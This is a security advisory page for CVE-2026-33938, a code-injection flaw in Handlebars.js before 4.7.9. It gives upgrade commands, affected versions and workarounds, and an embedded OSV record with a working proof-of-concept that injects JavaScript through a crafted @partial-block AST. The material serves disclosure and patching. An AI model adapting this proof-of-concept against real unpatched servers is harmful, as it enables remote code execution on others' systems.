CVE-2026-33938: Handlebars Handlebars.js Has JavaScript Injection Vulnerability
HIGHCVE-2026-33938 is a HIGH (CVSS 8.1) handlebars.js has javascript injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Handlebars libraries in the npm ecosystem. The issue involves handlebars.js has javascript injection via ast type confusion by tampering @partial-block. Remediation is available by upgrading affected packages to version 4.7.9.
CVE-2026-33938 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-33938
To remediate this vulnerability, upgrade all affected Handlebars dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install handlebars@4.7.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls handlebars
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-33938, inspect your project dependencies using npm:
npm ls handlebars
Analyze the terminal output to locate any version of Handlebars in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.7.9), your application is affected.
Note: The npm ls handlebars command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Handlebars, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33938 Affected Handlebars Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
handlebars
|
npm |
≥ 4.0.0
< 4.7.9
|
4.7.9
|
References
Frequently Asked Questions
What is CVE-2026-33938?
Which Handlebars versions are affected?
What version fixes CVE-2026-33938?
Is handlebars affected?
What is the CVSS score of CVE-2026-33938?
What CWE is associated with CVE-2026-33938?
How can I check npm dependencies for CVE-2026-33938?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3mfm-83xf-c92r",
"modified" : "2026-03-27T21:52:26Z",
"published" : "2026-03-27T18:20:44Z",
"aliases" : [ "CVE-2026-33938" ],
"summary" : "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block",
"details" : "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "handlebars"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.7.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.7.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
}, {
"type" : "WEB",
"url" : "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/handlebars-lang/handlebars.js"
}, {
"type" : "WEB",
"url" : "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-843", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-27T18:20:44Z",
"nvd_published_at" : "2026-03-27T21:17:27Z"
}
}